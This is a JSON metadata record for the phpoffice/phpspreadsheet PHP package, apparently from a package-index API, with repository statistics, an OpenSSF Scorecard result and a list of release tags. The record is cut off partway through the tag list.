{"id":670218,"name":"phpoffice/phpspreadsheet","ecosystem":"packagist","description":"PHPSpreadsheet - Read, Create and Write Spreadsheet documents in PHP - Spreadsheet engine","homepage":"https://github.com/PHPOffice/PhpSpreadsheet","licenses":"MIT","normalized_licenses":["MIT"],"repository_url":"https://github.com/PHPOffice/PhpSpreadsheet","keywords_array":["php","excel","spreadsheet","xls","xlsx","OpenXML","ods","gnumeric"],"namespace":"phpoffice","versions_count":148,"first_release_published_at":"2017-08-17T13:17:23.000Z","latest_release_published_at":"2026-09-17T03:54:50.000Z","latest_release_number":"5.10.0","latest_published_release_number":"5.10.0","last_synced_at":"2026-10-26T17:20:27.238Z","created_at":"2022-04-07T10:42:12.877Z","updated_at":"2026-10-27T11:18:31.115Z","registry_url":"https://packagist.org/packages/phpoffice/phpspreadsheet#","install_command":"composer require phpoffice/phpspreadsheet","documentation_url":null,"metadata":{"funding":[]},"repo_metadata":{"id":37397004,"uuid":"61490598","full_name":"PHPOffice/PhpSpreadsheet","owner":"PHPOffice","description":"A pure PHP library for reading and writing spreadsheet files","archived":false,"fork":false,"pushed_at":"2026-10-20T23:25:01.000Z","size":84309,"stargazers_count":14000,"open_issues_count":97,"forks_count":3626,"subscribers_count":307,"default_branch":"master","last_synced_at":"2026-10-21T16:35:32.702Z","etag":null,"topics":["excel","gnumeric","hacktoberfest","libreoffice","msexcel","ods","office","php","phpexcel","spreadsheet","sylk","xls","xlsx"],"latest_commit_sha":null,"homepage":"https://phpspreadsheet.readthedocs.io","language":"PHP","has_issues":true,"has_wiki":null,"has_pages":null,"mirror_url":null,"source_name":null,"license":"mit","status":null,"scm":"git","pull_requests_enabled":true,"icon_url":"https://github.com/PHPOffice.png","metadata":{"files":{"readme":"README.md","changelog":"CHANGELOG.PHPExcel.md","contributing":"CONTRIBUTING.md","funding":null,"license":"LICENSE","code_of_conduct":null,"threat_model":null,"audit":null,"citation":null,"codeowners":null,"security":"SECURITY.md","accessibility":null,"support":".github/support.yml","governance":null,"roadmap":null,"authors":null,"dei":null,"publiccode":null,"codemeta":null,"zenodo":null,"notice":null,"maintainers":null,"copyright":null,"agents":null,"claude":null,"gemini":null,"cursor":null,"copilot":null,"dco":null,"cla":null,"disclosure":null}},"created_at":"2016-06-19T16:58:48.000Z","updated_at":"2026-10-21T16:20:08.000Z","dependencies_parsed_at":"2026-10-14T09:33:02.443Z","dependency_job_id":null,"html_url":"https://github.com/PHPOffice/PhpSpreadsheet","commit_stats":{"total_commits":3690,"total_committers":372,"mean_commits":9.919354838709678,"dds":0.5764227642276423,"last_synced_commit":"1282f3d67cf7ed69abd50185595ced97f8f06ffc"},"previous_names":[],"tags_count":147,"template":false,"template_full_name":null,"purl":"pkg:github/PHPOffice/PhpSpreadsheet","repository_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/PHPOffice%2FPhpSpreadsheet","tags_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/PHPOffice%2FPhpSpreadsheet/tags","releases_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/PHPOffice%2FPhpSpreadsheet/releases","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/PHPOffice%2FPhpSpreadsheet/manifests","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/PHPOffice","download_url":"https://codeload.github.com/PHPOffice/PhpSpreadsheet/tar.gz/refs/heads/master","sbom_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/PHPOffice%2FPhpSpreadsheet/sbom","scorecard":{"id":106825,"data":{"date":"2025-08-11","repo":{"name":"github.com/PHPOffice/PhpSpreadsheet","commit":"d88efcac2444cde18e17684178de02b25dff2050"},"scorecard":{"version":"v5.2.1-40-gf6ed084d","commit":"f6ed084d17c9236477efd66e5b258b9d4cc7b389"},"score":5.1,"checks":[{"name":"Dangerous-Workflow","score":-1,"reason":"no workflows found","details":null,"documentation":{"short":"Determines if the project's GitHub Action workflows avoid dangerous patterns.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#dangerous-workflow"}},{"name":"Token-Permissions","score":-1,"reason":"No tokens found","details":null,"documentation":{"short":"Determines if the project's workflows follow the principle of least privilege.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#token-permissions"}},{"name":"Maintained","score":10,"reason":"30 commit(s) and 28 issue activity found in the last 90 days -- score normalized to 10","details":null,"documentation":{"short":"Determines if the project is \"actively maintained\".","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#maintained"}},{"name":"Packaging","score":-1,"reason":"packaging workflow not detected","details":["Warn: no GitHub/GitLab publishing workflow detected."],"documentation":{"short":"Determines if the project is published as a package that others can easily download, install, easily update, and uninstall.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#packaging"}},{"name":"Code-Review","score":0,"reason":"Found 0/12 approved changesets -- score normalized to 0","details":null,"documentation":{"short":"Determines if the project requires human code review before pull requests (aka merge requests) are merged.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#code-review"}},{"name":"Security-Policy","score":0,"reason":"security policy file not detected","details":["Warn: no security policy file detected","Warn: no security file to analyze","Warn: no security file to analyze","Warn: no security file to analyze"],"documentation":{"short":"Determines if the project has published a security policy.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#security-policy"}},{"name":"Vulnerabilities","score":10,"reason":"0 existing vulnerabilities detected","details":null,"documentation":{"short":"Determines if the project has open, known unfixed vulnerabilities.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#vulnerabilities"}},{"name":"Binary-Artifacts","score":10,"reason":"no binaries found in the repo","details":null,"documentation":{"short":"Determines if the project has generated executable (binary) artifacts in the source repository.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#binary-artifacts"}},{"name":"Fuzzing","score":0,"reason":"project is not fuzzed","details":["Warn: no fuzzer integrations found"],"documentation":{"short":"Determines if the project uses fuzzing.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#fuzzing"}},{"name":"CII-Best-Practices","score":2,"reason":"badge detected: InProgress","details":null,"documentation":{"short":"Determines if the project has an OpenSSF (formerly CII) Best Practices Badge.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#cii-best-practices"}},{"name":"License","score":10,"reason":"license file detected","details":["Info: project has a license file: LICENSE:0","Info: FSF or OSI recognized license: MIT License: LICENSE:0"],"documentation":{"short":"Determines if the project has defined a license.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#license"}},{"name":"Pinned-Dependencies","score":-1,"reason":"no dependencies found","details":null,"documentation":{"short":"Determines if the project has declared and pinned the dependencies of its build process.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#pinned-dependencies"}},{"name":"Signed-Releases","score":-1,"reason":"no releases found","details":null,"documentation":{"short":"Determines if the project cryptographically signs release artifacts.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#signed-releases"}},{"name":"Branch-Protection","score":-1,"reason":"internal error: error during branchesHandler.setup: internal error: githubv4.Query: Resource not accessible by integration","details":null,"documentation":{"short":"Determines if the default and release branches are protected with GitHub's branch protection settings.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#branch-protection"}},{"name":"SAST","score":0,"reason":"SAST tool is not run on all commits -- score normalized to 0","details":["Warn: 0 commits out of 30 are checked with a SAST tool"],"documentation":{"short":"Determines if the project uses static code analysis.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#sast"}}]},"last_synced_at":"2025-08-15T11:15:16.117Z","repository_id":37397004,"created_at":"2025-08-15T11:15:16.117Z","updated_at":"2025-08-15T11:15:16.117Z"},"host":{"name":"GitHub","url":"https://github.com","kind":"github","repositories_count":345082042,"owners_count":38465548,"icon_url":"https://github.com/github.png","version":null,"created_at":"2022-05-30T11:31:42.601Z","updated_at":"2026-10-03T21:59:58.778Z","status":"online","status_checked_at":"2026-10-22T02:00:06.372Z","response_time":122,"last_error":null,"robots_txt_status":"success","robots_txt_updated_at":"2025-07-24T06:49:26.215Z","robots_txt_url":"https://github.com/robots.txt","online":true,"can_crawl_api":true,"host_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories","repository_names_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repository_names","owners_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners"},"owner_record":{"login":"PHPOffice","name":"PHPOffice","uuid":"1836015","kind":"organization","description":null,"email":null,"website":"http://github.com/PHPOffice","location":"The Internet","twitter":null,"company":null,"icon_url":"https://avatars.githubusercontent.com/u/1836015?v=4","repositories_count":9,"last_synced_at":"2026-10-26T03:41:37.037Z","metadata":{"has_sponsors_listing":false,"funding":null},"html_url":"https://github.com/PHPOffice","funding_links":[],"total_stars":33342,"followers":658,"following":0,"created_at":"2022-11-02T16:35:14.128Z","updated_at":"2026-10-26T03:41:37.054Z","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/PHPOffice","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/PHPOffice/repositories"},"tags":[{"name":"5.10.0","sha":"eb18727acf6b1f4cc67145a52ab04f9fd4c28d53","kind":"tag","published_at":"2026-09-17T04:46:49.000Z","download_url":"https://codeload.github.com/PHPOffice/PhpSpreadsheet/tar.gz/5.10.0","html_url":"https://github.com/PHPOffice/PhpSpreadsheet/releases/tag/5.10.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/PHPOffice/PhpSpreadsheet@5.10.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/PHPOffice%2FPhpSpreadsheet/tags/5.10.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/PHPOffice%2FPhpSpreadsheet/tags/5.10.0/manifests"},{"name":"3.10.8","sha":"fee9c1ca8d9f1f676f007ac1ab134ce43624bd52","kind":"tag","published_at":"2026-09-17T04:31:48.000Z","download_url":"https://codeload.github.com/PHPOffice/PhpSpreadsheet/tar.gz/3.10.8","html_url":"https://github.com/PHPOffice/PhpSpreadsheet/releases/tag/3.10.8","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/PHPOffice/PhpSpreadsheet@3.10.8","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/PHPOffice%2FPhpSpreadsheet/tags/3.10.8","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/PHPOffice%2FPhpSpreadsheet/tags/3.10.8/manifests"},{"name":"2.4.8","sha":"badf4f22c54332046af37687c3384c6a0ed14ae1","kind":"tag","published_at":"2026-09-17T04:21:10.000Z","download_url":"https://codeload.github.com/PHPOffice/PhpSpreadsheet/tar.gz/2.4.8","html_url":"https://github.com/PHPOffice/PhpSpreadsheet/releases/tag/2.4.8","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/PHPOffice/PhpSpreadsheet@2.4.8","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/PHPOffice%2FPhpSpreadsheet/tags/2.4.8","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/PHPOffice%2FPhpSpreadsheet/tags/2.4.8/manifests"},{"name":"2.1.19","sha":"eb2ad61ccffa21bdc77481c69403f2bed5b13e5b","kind":"tag","published_at":"2026-09-17T04:12:58.000Z","download_url":"https://codeload.github.com/PHPOffice/PhpSpreadsheet/tar.gz/2.1.19","html_url":"https://github.com/PHPOffice/PhpSpreadsheet/releases/tag/2.1.19","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/PHPOffice/PhpSpreadsheet@2.1.19","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/PHPOffice%2FPhpSpreadsheet/tags/2.1.19","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/PHPOffice%2FPhpSpreadsheet/tags/2.1.19/manifests"},{"name":"1.30.7","sha":"f5dd9c1f084d336ea63cf53099533e061a9c157a","kind":"tag","published_at":"2026-09-17T04:04:04.000Z","download_url":"https://codeload.github.com/PHPOffice/PhpSpreadsheet/tar.gz/1.30.7","html_url":"https://github.com/PHPOffice/PhpSpreadsheet/releases/tag/1.30.7","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/PHPOffice/PhpSpreadsheet@1.30.7","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/PHPOffice%2FPhpSpreadsheet/tags/1.30.7","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/PHPOffice%2FPhpSpreadsheet/tags/1.30.7/manifests"},{"name":"5.9.0","sha":"05e99ebf61238a70227b4d9cc02d0030d34f6339","kind":"tag","published_at":"2026-07-12T20:16:41.000Z","download_url":"https://codeload.github.com/PHPOffice/PhpSpreadsheet/tar.gz/5.9.0","html_url":"https://github.com/PHPOffice/PhpSpreadsheet/releases/tag/5.9.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/PHPOffice/PhpSpreadsheet@5.9.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/PHPOffice%2FPhpSpreadsheet/tags/5.9.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/PHPOffice%2FPhpSpreadsheet/tags/5.9.0/manifests"},{"name":"5.8.1","sha":"d368eec97b371589068255c5b1e0edf0e4403bed","kind":"tag","published_at":"2026-07-12T20:13:30.000Z","download_url":"https://codeload.github.com/PHPOffice/PhpSpreadsheet/tar.gz/5.8.1","html_url":"https://github.com/PHPOffice/PhpSpreadsheet/releases/tag/5.8.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/PHPOffice/PhpSpreadsheet@5.8.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/PHPOffice%2FPhpSpreadsheet/tags/5.8.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/PHPOffice%2FPhpSpreadsheet/tags/5.8.1/manifests"},{"name":"1.30.6","sha":"a416375ffc8bf5b661c1bb4e6c60d8f3fddbe5ce","kind":"tag","published_at":"2026-07-12T20:03:51.000Z","download_url":"https://codeload.github.com/PHPOffice/PhpSpreadsheet/tar.gz/1.30.6","html_url":"https://github.com/PHPOffice/PhpSpreadsheet/releases/tag/1.30.6","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/PHPOffice/PhpSpreadsheet@1.30.6","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/PHPOffice%2FPhpSpreadsheet/tags/1.30.6","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/PHPOffice%2FPhpSpreadsheet/tags/1.30.6/manifests"},{"name":"3.10.7","sha":"450a28a2c050d8f983e663c0bc8918e0cdae5708","kind":"tag","published_at":"2026-07-12T19:53:31.000Z","download_url":"https://codeload.github.com/PHPOffice/PhpSpreadsheet/tar.gz/3.10.7","html_url":"https://github.com/PHPOffice/PhpSpreadsheet/releases/tag/3.10.7","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/PHPOffice/PhpSpreadsheet@3.10.7","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/PHPOffice%2FPhpSpreadsheet/tags/3.10.7","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/PHPOffice%2FPhpSpreadsheet/tags/3.10.7/manifests"},{"name":"2.4.7","sha":"03e65f7c3399756d77f656118f75a61e0fca23c6","kind":"tag","published_at":"2026-07-12T19:41:57.000Z","download_url":"https://codeload.github.com/PHPOffice/PhpSpreadsheet/tar.gz/2.4.7","html_url":"https://github.com/PHPOffice/PhpSpreadsheet/releases/tag/2.4.7","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/PHPOffice/PhpSpreadsheet@2.4.7","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/PHPOffice%2FPhpSpreadsheet/tags/2.4.7","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/PHPOffice%2FPhpSpreadsheet/tags/2.4.7/manifests"},{"name":"2.1.18","sha":"c53c3ef749101fabc7269d6602e20faba55c4782","kind":"tag","published_at":"2026-07-12T19:32:55.000Z","download_url":"https://codeload.github.com/PHPOffice/PhpSpreadsheet/tar.gz/2.1.18","html_url":"https://github.com/PHPOffice/PhpSpreadsheet/releases/tag/2.1.18","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/PHPOffice/PhpSpreadsheet@2.1.18","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/PHPOffice%2FPhpSpreadsheet/tags/2.1.18","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/PHPOffice%2FPhpSpreadsheet/tags/2.1.18/manifests"},{"name":"5.8.0","sha":"01964d92536edf1a3a874b9580a52824bebf6fbb","kind":"tag","published_at":"2026-06-07T03:59:13.000Z","download_url":"https://codeload.github.com/PHPOffice/PhpSpreadsheet/tar.gz/5.8.0","html_url":"https://github.com/PHPOffice/PhpSpreadsheet/releases/tag/5.8.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/PHPOffice/PhpSpreadsheet@5.8.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/PHPOffice%2FPhpSpreadsheet/tags/5.8.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/PHPOffice%2FPhpSpreadsheet/tags/5.8.0/manifests"},{"name":"3.10.6","sha":"8de8215d6ff984f8db77a4a49dc089a396209e1b","kind":"tag","published_at":"2026-06-07T02:43:49.000Z","download_url":"https://codeload.github.com/PHPOffice/PhpSpreadsheet/tar.gz/3.10.6","html_url":"https://github.com/PHPOffice/PhpSpreadsheet/releases/tag/3.10.6","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/PHPOffice/PhpSpreadsheet@3.10.6","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/PHPOffice%2FPhpSpreadsheet/tags/3.10.6","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/PHPOffice%2FPhpSpreadsheet/tags/3.10.6/manifests"},{"name":"2.4.6","sha":"0bbef382b7d9c1dbda10c8113d564ff9159a7e79","kind":"tag","published_at":"2026-06-07T02:34:49.000Z","download_url":"https://codeload.github.com/PHPOffice/PhpSpreadsheet/tar.gz/2.4.6","html_url":"https://github.com/PHPOffice/PhpSpreadsheet/releases/tag/2.4.6","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/PHPOffice/PhpSpreadsheet@2.4.6","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/PHPOffice%2FPhpSpreadsheet/tags/2.4.6","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/PHPOffice%2FPhpSpreadsheet/tags/2.4.6/manifests"},{"name":"2.1.17","sha":"68d4ebf154c0193d0e4e2df1b79dc4a2d945aa5f","kind":"tag","published_at":"2026-06-07T02:23:56.000Z","download_url":"https://codeload.github.com/PHPOffice/PhpSpreadsheet/tar.gz/2.1.17","html_url":"https://github.com/PHPOffice/PhpSpreadsheet/releases/tag/2.1.17","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/PHPOffice/PhpSpreadsheet@2.1.17","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/PHPOffice%2FPhpSpreadsheet/tags/2.1.17","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/PHPOffice%2FPhpSpreadsheet/tags/2.1.17/manifests"},{"name":"1.30.5","sha":"97bcabd32a64924688487dcd64aceaf158affb5c","kind":"tag","published_at":"2026-05-31T14:15:35.000Z","download_url":"https://codeload.github.com/PHPOffice/PhpSpreadsheet/tar.gz/1.30.5","html_url":"https://github.com/PHPOffice/PhpSpreadsheet/releases/tag/1.30.5","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/PHPOffice/PhpSpreadsheet@1.30.5","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/PHPOffice%2FPhpSpreadsheet/tags/1.30.5","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/PHPOffice%2FPhpSpreadsheet/tags/1.30.5/manifests"},{"name":"5.7.0","sha":"9f55d3b9b7bcb1084fda8340e4b7ce4ed10cd0c8","kind":"tag","published_at":"2026-04-20T03:07:13.000Z","download_url":"https://codeload.github.com/PHPOffice/PhpSpreadsheet/tar.gz/5.7.0","html_url":"https://github.com/PHPOffice/PhpSpreadsheet/releases/tag/5.7.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/PHPOffice/PhpSpreadsheet@5.7.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/PHPOffice%2FPhpSpreadsheet/tags/5.7.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/PHPOffice%2FPhpSpreadsheet/tags/5.7.0/manifests"},{"name":"1.30.4","sha":"02970383cc12e7bf0bc0707ea6e2e8ed23a7aec9","kind":"tag","published_at":"2026-04-20T03:01:28.000Z","download_url":"https://codeload.github.com/PHPOffice/PhpSpreadsheet/tar.gz/1.30.4","html_url":"https://github.com/PHPOffice/PhpSpreadsheet/releases/tag/1.30.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/PHPOffice/PhpSpreadsheet@1.30.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/PHPOffice%2FPhpSpreadsheet/tags/1.30.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/PHPOffice%2FPhpSpreadsheet/tags/1.30.4/manifests"},{"name":"3.10.5","sha":"13f709c73e417c3c8cadc87ac88f809fd8d1fa45","kind":"tag","published_at":"2026-04-20T02:58:48.000Z","download_url":"https://codeload.github.com/PHPOffice/PhpSpreadsheet/tar.gz/3.10.5","html_url":"https://github.com/PHPOffice/PhpSpreadsheet/releases/tag/3.10.5","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/PHPOffice/PhpSpreadsheet@3.10.5","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/PHPOffice%2FPhpSpreadsheet/tags/3.10.5","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/PHPOffice%2FPhpSpreadsheet/tags/3.10.5/manifests"},{"name":"2.4.5","sha":"ec7815be350e03df90f3e2ace92653fa6cb4327c","kind":"tag","published_at":"2026-04-20T02:55:36.000Z","download_url":"https://codeload.github.com/PHPOffice/PhpSpreadsheet/tar.gz/2.4.5","html_url":"https://github.com/PHPOffice/PhpSpreadsheet/releases/tag/2.4.5","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/PHPOffice/PhpSpreadsheet@2.4.5","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/PHPOffice%2FPhpSpreadsheet/tags/2.4.5","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/PHPOffice%2FPhpSpreadsheet/tags/2.4.5/manifests"},{"name":"2.1.16","sha":"c91ff54b743e3f70f880e7145a9821474cd82f16","kind":"tag","published_at":"2026-04-20T02:49:55.000Z","download_url":"https://codeload.github.com/PHPOffice/PhpSpreadsheet/tar.gz/2.1.16","html_url":"https://github.com/PHPOffice/PhpSpreadsheet/releases/tag/2.1.16","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/PHPOffice/PhpSpreadsheet@2.1.16","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/PHPOffice%2FPhpSpreadsheet/tags/2.1.16","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/PHPOffice%2FPhpSpreadsheet/tags/2.1.16/manifests"},{"name":"5.6.0","sha":"9b90dee03deb0d28761479c4a3a06fba5f7e012e","kind":"tag","published_at":"2026-04-10T04:06:54.000Z","download_url":"https://codeload.github.com/PHPOffice/PhpSpreadsheet/tar.gz/5.6.0","html_url":"https://github.com/PHPOffice/PhpSpreadsheet/releases/tag/5.6.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/PHPOffice/PhpSpreadsheet@5.6.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/PHPOffice%2FPhpSpreadsheet/tags/5.6.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/PHPOffice%2FPhpSpreadsheet/tags/5.6.0/manifests"},{"name":"1.30.3","sha":"d28d4827f934469e7ca4de940ab0abd0788d1e65","kind":"tag","published_at":"2026-04-10T03:51:15.000Z","download_url":"https://codeload.github.com/PHPOffice/PhpSpreadsheet/tar.gz/1.30.3","html_url":"https://github.com/PHPOffice/PhpSpreadsheet/releases/tag/1.30.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/PHPOffice/PhpSpreadsheet@1.30.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/PHPOffice%2FPhpSpreadsheet/tags/1.30.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/PHPOffice%2FPhpSpreadsheet/tags/1.30.3/manifests"},{"name":"3.10.4","sha":"3dfa34f1af992c1db139872fab8186e5b4e021b9","kind":"tag","published_at":"2026-04-10T03:39:59.000Z","download_url":"https://codeload.github.com/PHPOffice/PhpSpreadsheet/tar.gz/3.10.4","html_url":"https://github.com/PHPOffice/PhpSpreadsheet/releases/tag/3.10.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/PHPOffice/PhpSpreadsheet@3.10.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/PHPOffice%2FPhpSpreadsheet/tags/3.10.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/PHPOffice%2FPhpSpreadsheet/tags/3.10.4/manifests"},{"name":"2.4.4","sha":"78bf6f0b4945ab31f1935741324ef3f0bf59a6fe","kind":"tag","published_at":"2026-04-10T03:26:44.000Z","download_url":"https://codeload.github.com/PHPOffice/PhpSpreadsheet/tar.gz/2.4.4","html_url":"https://github.com/PHPOffice/PhpSpreadsheet/releases/tag/2.4.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/PHPOffice/PhpSpreadsheet@2.4.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/PHPOffice%2FPhpSpreadsheet/tags/2.4.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/PHPOffice%2FPhpSpreadsheet/tags/2.4.4/manifests"},{"name":"2.1.15","sha":"1255154d4a2036a46124b2a87bfa3a92d14843c7","kind":"tag","published_at":"2026-04-10T03:15:49.000Z","download_url":"https://codeload.github.com/PHPOffice/PhpSpreadsheet/tar.gz/2.1.15","html_url":"https://github.com/PHPOffice/PhpSpreadsheet/releases/tag/2.1.15","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/PHPOffice/PhpSpreadsheet@2.1.15","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/PHPOffice%2FPhpSpreadsheet/tags/2.1.15","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/PHPOffice%2FPhpSpreadsheet/tags/2.1.15/manifests"},{"name":"5.5.0","sha":"eecd31b885a1c8192f12738130f85bbc6e8906ba","kind":"tag","published_at":"2026-03-01T01:11:47.000Z","download_url":"https://codeload.github.com/PHPOffice/PhpSpreadsheet/tar.gz/5.5.0","html_url":"https://github.com/PHPOffice/PhpSpreadsheet/releases/tag/5.5.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/PHPOffice/PhpSpreadsheet@5.5.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/PHPOffice%2FPhpSpreadsheet/tags/5.5.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/PHPOffice%2FPhpSpreadsheet/tags/5.5.0/manifests"},{"name":"5.4.0","sha":"48f2fe37d64c2dece0ef71fb2ac55497566782af","kind":"tag","published_at":"2026-01-11T06:30:04.000Z","download_url":"https://codeload.github.com/PHPOffice/PhpSpreadsheet/tar.gz/5.4.0","html_url":"https://github.com/PHPOffice/PhpSpreadsheet/releases/tag/5.4.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/PHPOffice/PhpSpreadsheet@5.4.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/PHPOffice%2FPhpSpreadsheet/tags/5.4.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/PHPOffice%2FPhpSpreadsheet/tags/5.4.0/manifests"},{"name":"3